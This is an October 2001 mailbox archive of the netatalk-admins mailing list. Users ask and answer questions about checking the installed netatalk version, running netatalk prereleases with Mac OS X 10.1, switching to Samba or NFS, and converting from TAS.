	id 15rggR-0007lW-00
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 10:19:35 -0400
From: "Mark Celsor" <mark@metaphorstudio.com>
To: "Netatalk-Admins List" <netatalk-admins@umich.edu>
Subject: version of netatalk
Date: Thu, 11 Oct 2001 10:21:33 -0400
Message-ID: <EFEJJGPNHELPFJNKPELPMEGLCGAA.mark@metaphorstudio.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

I realize this is a pretty weak question...

But, how can I determine which version of netatalk I am running?

Mark Celsor
Site Engineer

The Metaphor Studio, LLC
1216 Central Parkway
Cincinnati, Ohio 45210
513.723.0290
http://www.metaphorstudio.com 

From netatalk.administrators-errors@umich.edu  Thu Oct 11 11:35:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA02032
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Oct 2001 11:35:37 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA10255
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Oct 2001 11:35:37 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA10238
	for netatalk.administrators-members@umich.edu; Thu, 11 Oct 2001 11:35:36 -0400 (EDT)
Received: from carme.affordablehost.com (host77.globaltap.com [64.23.37.77])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id LAA10089
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 11:35:30 -0400 (EDT)
From: mikko@fs.sorl.net
Received: (qmail 31286 invoked from network); 11 Oct 2001 15:22:05 -0000
Received: from as6-6-3.kt.g.bonet.se (HELO sorl2.fs.sorl.net) (194.236.50.26)
  by host77.globaltap.com with SMTP; 11 Oct 2001 15:22:05 -0000
Message-Id: <5.1.0.14.2.20011011172106.01c98958@carme.affordablehost.com>
X-Sender: postmaster%fs.sorl.net@carme.affordablehost.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Thu, 11 Oct 2001 17:22:29 +0200
To: netatalk-admins@umich.edu
Subject: Re: version of netatalk
In-Reply-To: <EFEJJGPNHELPFJNKPELPMEGLCGAA.mark@metaphorstudio.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

afpd -v
I think it is recently implemented.
And 1.5pre8 still shows 1.5pre8...


/mikko


At 16:21 2001-10-11, you wrote:
>I realize this is a pretty weak question...
>
>But, how can I determine which version of netatalk I am running?
>
>Mark Celsor
>Site Engineer
>
>The Metaphor Studio, LLC
>1216 Central Parkway
>Cincinnati, Ohio 45210
>513.723.0290
>http://www.metaphorstudio.com



From netatalk.administrators-errors@umich.edu  Thu Oct 11 11:55:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA03231
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Oct 2001 11:55:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA25517
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Oct 2001 11:55:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA25500
	for netatalk.administrators-members@umich.edu; Thu, 11 Oct 2001 11:55:23 -0400 (EDT)
Received: from simile ([63.210.254.130])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA25478
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 11:55:22 -0400 (EDT)
Received: from [63.210.254.132] (helo=windev)
	by simile with smtp (Exim 3.22 #1 (Debian))
	id 15riC3-0008NL-00; Thu, 11 Oct 2001 11:56:19 -0400
From: "Mark Celsor" <mark@metaphorstudio.com>
To: <mikko@fs.sorl.net>, <netatalk-admins@umich.edu>
Subject: RE: version of netatalk
Date: Thu, 11 Oct 2001 11:58:17 -0400
Message-ID: <EFEJJGPNHELPFJNKPELPEEGOCGAA.mark@metaphorstudio.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <5.1.0.14.2.20011011172106.01c98958@carme.affordablehost.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

Thanks,

I must have an older version though. It didn't allow that as a valid option:

/usr/sbin/afpd: invalid option -- v
Usage:  afpd [ -dpDTIt ] [ -n nbpname ] [ -f defvols ] [ -P pidfile ] [ -s
sysvols ] [ -u ] [ -c maxconn ] [ -g guest ] [ -S port ] [ -L loginmesg ]
 -F configfile ] [ -U uamlist ]

-----Original Message-----
From: mikko@fs.sorl.net [mailto:mikko@fs.sorl.net]
Sent: Thursday, October 11, 2001 11:22 AM
To: netatalk-admins@umich.edu
Subject: Re: version of netatalk


afpd -v
I think it is recently implemented.
And 1.5pre8 still shows 1.5pre8...


/mikko


At 16:21 2001-10-11, you wrote:
>I realize this is a pretty weak question...
>
>But, how can I determine which version of netatalk I am running?
>
>Mark Celsor
>Site Engineer
>
>The Metaphor Studio, LLC
>1216 Central Parkway
>Cincinnati, Ohio 45210
>513.723.0290
>http://www.metaphorstudio.com




From netatalk.administrators-errors@umich.edu  Thu Oct 11 17:04:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA19107
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Oct 2001 17:04:30 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA06705
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Oct 2001 17:04:30 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA06684
	for netatalk.administrators-members@umich.edu; Thu, 11 Oct 2001 17:04:29 -0400 (EDT)
Received: from austin-jump.vircio.com (jump-austin.vircio.com [216.30.106.234])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA06644
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 17:04:28 -0400 (EDT)
Received: (qmail 3694 invoked by uid 104); 11 Oct 2001 21:04:28 -0000
Received: from cwg-dated-5006cb244cc1735d@deepeddy.com by localhost.localdomain with qmail-scanner-0.90 (uvscan: v4.1.40/v4165. . Clean. Processed in 0.247172 secs); 11/10/2001 16:04:27
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-5006cb244cc1735d@deepeddy.com>)
          by roustabout.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 11 Oct 2001 21:04:27 -0000
Received: (qmail 30836 invoked by alias); 11 Oct 2001 21:04:25 -0000
From: "Chris Garrigues" <cwg-dated-5006cb244cc1735d@deepeddy.com>
Received: (qmail 30776 invoked from network); 11 Oct 2001 21:04:23 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <netatalk-admins@umich.edu@fixme>; 11 Oct 2001 21:04:23 -0000
X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4
To: netatalk-admins@umich.edu
Subject: okay, so what version should I use with 10.1?
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-2137167256P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Thu, 11 Oct 2001 16:04:23 -0500
Message-ID: <30772.1002834263@deepeddy.com>
Mail-Reply-To: cwg-dated-5006cb244cc1735d@DeepEddy.Com

--==_Exmh_-2137167256P
Content-Type: text/plain; charset=us-ascii

I just got my 10.1 and was really hoping that it could talk to my linux box.

Unfortunately it doesn't.  I'm running 1.5pre6 because that was the most 
recent RPM I could find.

Should I be upgrading to 1.5pre8, and if so, does anybody already have an RPM. 
If not, I'll build my own RPM, but I thought I'd ask here first.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    The Greatest tragedy in mankind's entire history may be the
      hijacking of morality by religion.  However valuable -- even
      necessary -- that may have been in enforcing good behavior on
      primitive peoples, their association is now counterproductive.
      Yet at the very moment when they should be decoupled,
      sanctimonious nitwits are calling for a return to morals based
      on superstition.
				--- Arthur C. Clarke



--==_Exmh_-2137167256P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE7xglXK9b4h5R0IUIRAkOCAJ90ZtUKK8R1PSR+f5+TnI2LSC5t1gCdHGve
fmQGDrNYllTuJqFXiOHRf00=
=B9Ux
-----END PGP SIGNATURE-----

--==_Exmh_-2137167256P--

From netatalk.administrators-errors@umich.edu  Thu Oct 11 17:20:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA20207
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Oct 2001 17:20:54 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA24397
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Oct 2001 17:20:53 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA24382
	for netatalk.administrators-members@umich.edu; Thu, 11 Oct 2001 17:20:53 -0400 (EDT)
Received: from carme.affordablehost.com (host77.globaltap.com [64.23.37.77])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id RAA24228
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 17:20:47 -0400 (EDT)
From: mikko@fs.sorl.net
Received: (qmail 11663 invoked from network); 11 Oct 2001 21:20:19 -0000
Received: from as6-6-3.kt.g.bonet.se (HELO sorl2.fs.sorl.net) (194.236.50.26)
  by host77.globaltap.com with SMTP; 11 Oct 2001 21:20:19 -0000
Message-Id: <5.1.0.14.2.20011011232005.01d048e8@carme.affordablehost.com>
X-Sender: postmaster%fs.sorl.net@carme.affordablehost.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Thu, 11 Oct 2001 23:20:49 +0200
To: netatalk-admins@umich.edu
Subject: Re: okay, so what version should I use with 10.1?
In-Reply-To: <30772.1002834263@deepeddy.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

If you use osX, why dont you use samba?

/mikko

At 23:04 2001-10-11, you wrote:
>I just got my 10.1 and was really hoping that it could talk to my linux box.
>
>Unfortunately it doesn't.  I'm running 1.5pre6 because that was the most
>recent RPM I could find.
>
>Should I be upgrading to 1.5pre8, and if so, does anybody already have an 
>RPM.
>If not, I'll build my own RPM, but I thought I'd ask here first.
>
>Chris
>
>--
>Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
>virCIO                          http://www.virCIO.Com
>4314 Avenue C
>Austin, TX  78751-3709          +1 512 374 0500
>
>   My email address is an experiment in SPAM elimination.  For an
>   explanation of what we're doing, see http://www.DeepEddy.Com/tms.html
>
>     The Greatest tragedy in mankind's entire history may be the
>       hijacking of morality by religion.  However valuable -- even
>       necessary -- that may have been in enforcing good behavior on
>       primitive peoples, their association is now counterproductive.
>       Yet at the very moment when they should be decoupled,
>       sanctimonious nitwits are calling for a return to morals based
>       on superstition.
>                                 --- Arthur C. Clarke
>
>



From netatalk.administrators-errors@umich.edu  Thu Oct 11 17:32:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA20735
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Oct 2001 17:32:28 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA04887
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Oct 2001 17:32:28 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA04874
	for netatalk.administrators-members@umich.edu; Thu, 11 Oct 2001 17:32:27 -0400 (EDT)
Received: from smtp-out.mac.com (smtpout.mac.com [204.179.120.88])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA04832
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 17:32:26 -0400 (EDT)
Received: from smtp-relay01.mac.com (smtp-relay01-qfe3 [10.13.10.224])
	by smtp-out.mac.com (8.10.2/8.10.2/1.0) with ESMTP id f9BLW0127158
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 14:32:00 -0700 (PDT)
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun
          21 2001 23:53:48) with ESMTP id GL295V00.05B for
          <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 14:32:19 -0700 
Received: from ws98982.corp.us.uu.net ([153.39.136.69]) by
          asmtp01.mac.com (Netscape Messaging Server 4.15 asmtp01 Jun 21
          2001 23:53:48) with ESMTP id GL295U00.RD3 for
          <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 14:32:18 -0700 
Date: Thu, 11 Oct 2001 17:31:58 -0400
Subject: Re: okay, so what version should I use with 10.1?
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v472)
From: David <zer0@mac.com>
To: netatalk-admins@umich.edu
Content-Transfer-Encoding: 7bit
In-Reply-To: <30772.1002834263@deepeddy.com>
Message-Id: <66A92A01-BE8F-11D5-BC35-003065B455F8@mac.com>
X-Mailer: Apple Mail (2.472)

Pre7 and Pre8 both seem to work well.  Haven't seen anything funny happen 
yet.  I made sure I didn't compile with "enable-lastdid", I wanted to make 
sure it used the new DID stuff.  I do remember reading about the old system 
and that it has problems on large filesystems.  Was bit by that problem 
before, suddenly disappearing files and folders with DID error messages in 
the logs.

David Shaub


On Thursday, October 11, 2001, at 05:04 PM, Chris Garrigues wrote:

> I just got my 10.1 and was really hoping that it could talk to my linux 
> box.
>
> Unfortunately it doesn't.  I'm running 1.5pre6 because that was the most
> recent RPM I could find.
>
> Should I be upgrading to 1.5pre8, and if so, does anybody already have an 
> RPM.
> If not, I'll build my own RPM, but I thought I'd ask here first.
>
> Chris
>
> --
>

<snip>


From netatalk.administrators-errors@umich.edu  Thu Oct 11 17:36:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA20897
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Oct 2001 17:36:08 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA18552
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Oct 2001 17:36:08 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA18527
	for netatalk.administrators-members@umich.edu; Thu, 11 Oct 2001 17:36:08 -0400 (EDT)
Received: from ns02.newbridge.com (ns02.newbridge.com [192.75.23.75])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id RAA18483
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 17:36:06 -0400 (EDT)
Received: (qmail 18063 invoked from network); 11 Oct 2001 21:33:59 -0000
Received: from portal1.newbridge.com (HELO kanata-mh1.ca.newbridge.com) (192.75.23.76)
  by ns02.newbridge.com with SMTP; 11 Oct 2001 21:33:59 -0000
Received: from netmail1.ca.alcatel.com by kanata-mh1.ca.newbridge.com for netatalk-admins@umich.edu; Thu, 11 Oct 2001 17:35:13 -0400
Received: (qmail 4658 invoked from network); 11 Oct 2001 21:36:10 -0000
Received: from kanmail02.ca.alcatel.com (HELO kanmail02.ca.newbridge.com) (138.120.118.14)
  by netmail1.ca.alcatel.com with SMTP; 11 Oct 2001 21:36:10 -0000
Received: from alcatel.com ([138.120.61.68]) by kanmail02.ca.newbridge.com
          (Netscape Messaging Server 3.6)  with ESMTP id AAA1776
          for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 17:35:12 -0400
Message-Id: <3BC60FE7.79854E02@alcatel.com>
Date: Thu, 11 Oct 2001 17:32:23 -0400
From: "PAUL CROSS" <paul.cross@alcatel.com>
X-Mailer: Mozilla 4.76 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: TAS to netatalk conversion
Content-Type: multipart/mixed;
 boundary="------------C207E4CDC1FC01FC390CA1C9"

This is a multi-part message in MIME format.
--------------C207E4CDC1FC01FC390CA1C9
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Anyone done this? are there any utils out there to convert from tas to
netatalk?

--------------C207E4CDC1FC01FC390CA1C9
Content-Type: text/x-vcard; charset=us-ascii;
 name="paul.cross.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Paul Cross
Content-Disposition: attachment;
 filename="paul.cross.vcf"

begin:vcard 
n:Cross;Paul
x-mozilla-html:FALSE
org:Alcatel Canada;IT Data Centre, R&D support<P><img src=http://www.alcatel.com/images/logo/logo.gif>
adr:;;;;;;
version:2.1
email;internet:paul.cross@alcatel.com
fn:Paul Cross
end:vcard

--------------C207E4CDC1FC01FC390CA1C9--


From netatalk.administrators-errors@umich.edu  Thu Oct 11 17:42:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA21184
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Oct 2001 17:42:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA18541
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Oct 2001 17:42:38 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA18517
	for netatalk.administrators-members@umich.edu; Thu, 11 Oct 2001 17:42:38 -0400 (EDT)
Received: from sowrong.org (syr-66-24-27-98.twcny.rr.com [66.24.27.98])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA18465
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 17:42:37 -0400 (EDT)
Received: (from cjc26@localhost)
	by sowrong.org (8.11.0/8.11.0) id f9BLgY810012;
	Thu, 11 Oct 2001 17:42:34 -0400 (EDT)
Date: Thu, 11 Oct 2001 17:42:34 -0400
From: Cliff Crawford <cjc26@cornell.edu>
To: Mark Celsor <mark@metaphorstudio.com>
Cc: netatalk-admins@umich.edu
Subject: Re: version of netatalk
Message-ID: <20011011174234.K5992@cornell.edu>
References: <5.1.0.14.2.20011011172106.01c98958@carme.affordablehost.com> <EFEJJGPNHELPFJNKPELPEEGOCGAA.mark@metaphorstudio.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <EFEJJGPNHELPFJNKPELPEEGOCGAA.mark@metaphorstudio.com>; from mark@metaphorstudio.com on Thu, Oct 11, 2001 at 11:58:17AM -0400

Check /var/log/messages (or the equivalent on your machine), when afpd
starts up it writes the version number there in its startup message.

* Mark Celsor <mark@metaphorstudio.com> menulis:
> Thanks,
> 
> I must have an older version though. It didn't allow that as a valid option:
> 
> /usr/sbin/afpd: invalid option -- v
> Usage:  afpd [ -dpDTIt ] [ -n nbpname ] [ -f defvols ] [ -P pidfile ] [ -s
> sysvols ] [ -u ] [ -c maxconn ] [ -g guest ] [ -S port ] [ -L loginmesg ]
>  -F configfile ] [ -U uamlist ]


-- 
Cliff Crawford                  ::                cjc26 at cornell dot edu
"Along the way of life, someone must have sense enough and morality enough
to cut off the chain of hate. This can only be done by projecting the ethic
of love to the center of our lives." -- Martin Luther King, Jr.

From netatalk.administrators-errors@umich.edu  Thu Oct 11 17:54:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA21931
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Oct 2001 17:54:09 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA27326
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Oct 2001 17:54:09 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA27311
	for netatalk.administrators-members@umich.edu; Thu, 11 Oct 2001 17:54:07 -0400 (EDT)
Received: from austin-jump.vircio.com (jump-austin.vircio.com [216.30.106.234])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA27286
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 17:54:06 -0400 (EDT)
Received: (qmail 6704 invoked by uid 104); 11 Oct 2001 21:54:06 -0000
Received: from cwg-dated-d14a505e53521e62@deepeddy.com by localhost.localdomain with qmail-scanner-0.90 (uvscan: v4.1.40/v4165. . Clean. Processed in 0.250931 secs); 11/10/2001 16:54:05
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-d14a505e53521e62@deepeddy.com>)
          by kidgalahad.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 11 Oct 2001 21:54:05 -0000
Received: (qmail 32288 invoked by alias); 11 Oct 2001 21:54:04 -0000
From: "Chris Garrigues" <cwg-dated-d14a505e53521e62@deepeddy.com>
Received: (qmail 32246 invoked from network); 11 Oct 2001 21:54:02 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <mikko@fs.sorl.net@fixme>; 11 Oct 2001 21:54:02 -0000
X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4
To: mikko@fs.sorl.net
Cc: netatalk-admins@umich.edu
Subject: Re: okay, so what version should I use with 10.1? 
In-Reply-To: <5.1.0.14.2.20011011232005.01d048e8@carme.affordablehost.com> 
References: <5.1.0.14.2.20011011232005.01d048e8@carme.affordablehost.com>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-2084469520P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Thu, 11 Oct 2001 16:54:02 -0500
Message-ID: <32242.1002837242@deepeddy.com>
Mail-Reply-To: cwg-dated-d14a505e53521e62@DeepEddy.Com

--==_Exmh_-2084469520P
Content-Type: text/plain; charset=us-ascii

> From:  mikko@fs.sorl.net
> Date:  Thu, 11 Oct 2001 23:20:49 +0200
>
> If you use osX, why dont you use samba?

Well...

1) I've always used atalk in the past.

2) It hadn't occured to me.

3) I can't figure out how.  Searching for smb tells me "Choose Connect To 
Server from the Finder's Go menu, then browse for the server or enter its 
address.  All I see is the appletalk server, not the SMB server.  How do I 
tell it to use SMB?

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    The Greatest tragedy in mankind's entire history may be the
      hijacking of morality by religion.  However valuable -- even
      necessary -- that may have been in enforcing good behavior on
      primitive peoples, their association is now counterproductive.
      Yet at the very moment when they should be decoupled,
      sanctimonious nitwits are calling for a return to morals based
      on superstition.
				--- Arthur C. Clarke



--==_Exmh_-2084469520P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE7xhT6K9b4h5R0IUIRAvAHAJ9U/YjH8fHzymT1nFovTFaN/cU7zgCfSSm9
17ylIvZCvpsDVmkpFhbJXWs=
=rto3
-----END PGP SIGNATURE-----

--==_Exmh_-2084469520P--

From netatalk.administrators-errors@umich.edu  Thu Oct 11 18:12:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA22538
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Oct 2001 18:12:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA11760
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Oct 2001 18:12:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA11741
	for netatalk.administrators-members@umich.edu; Thu, 11 Oct 2001 18:12:18 -0400 (EDT)
Received: from carme.affordablehost.com (host77.globaltap.com [64.23.37.77])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id SAA11717
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 18:12:17 -0400 (EDT)
From: mikko@fs.sorl.net
Received: (qmail 17676 invoked from network); 11 Oct 2001 22:11:49 -0000
Received: from as6-6-3.kt.g.bonet.se (HELO sorl2.fs.sorl.net) (194.236.50.26)
  by host77.globaltap.com with SMTP; 11 Oct 2001 22:11:49 -0000
Message-Id: <5.1.0.14.2.20011012001051.01c93c40@carme.affordablehost.com>
X-Sender: postmaster%fs.sorl.net@carme.affordablehost.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Fri, 12 Oct 2001 00:12:19 +0200
To: netatalk-admins@umich.edu
Subject: Re: okay, so what version should I use with 10.1? 
In-Reply-To: <32242.1002837242@deepeddy.com>
References: <5.1.0.14.2.20011011232005.01d048e8@carme.affordablehost.com>
 <5.1.0.14.2.20011011232005.01d048e8@carme.affordablehost.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

I never used osX but i can tell you that I would use
samba or NFS over netatalk anyday.

All the best /Mikko


At 23:54 2001-10-11, you wrote:
> > From:  mikko@fs.sorl.net
> > Date:  Thu, 11 Oct 2001 23:20:49 +0200
> >
> > If you use osX, why dont you use samba?
>
>Well...
>
>1) I've always used atalk in the past.
>
>2) It hadn't occured to me.
>
>3) I can't figure out how.  Searching for smb tells me "Choose Connect To
>Server from the Finder's Go menu, then browse for the server or enter its
>address.  All I see is the appletalk server, not the SMB server.  How do I
>tell it to use SMB?
>
>Chris
>
>--
>Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
>virCIO                          http://www.virCIO.Com
>4314 Avenue C
>Austin, TX  78751-3709          +1 512 374 0500
>
>   My email address is an experiment in SPAM elimination.  For an
>   explanation of what we're doing, see http://www.DeepEddy.Com/tms.html
>
>     The Greatest tragedy in mankind's entire history may be the
>       hijacking of morality by religion.  However valuable -- even
>       necessary -- that may have been in enforcing good behavior on
>       primitive peoples, their association is now counterproductive.
>       Yet at the very moment when they should be decoupled,
>       sanctimonious nitwits are calling for a return to morals based
>       on superstition.
>                                 --- Arthur C. Clarke
>
>



From netatalk.administrators-errors@umich.edu  Thu Oct 11 18:21:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
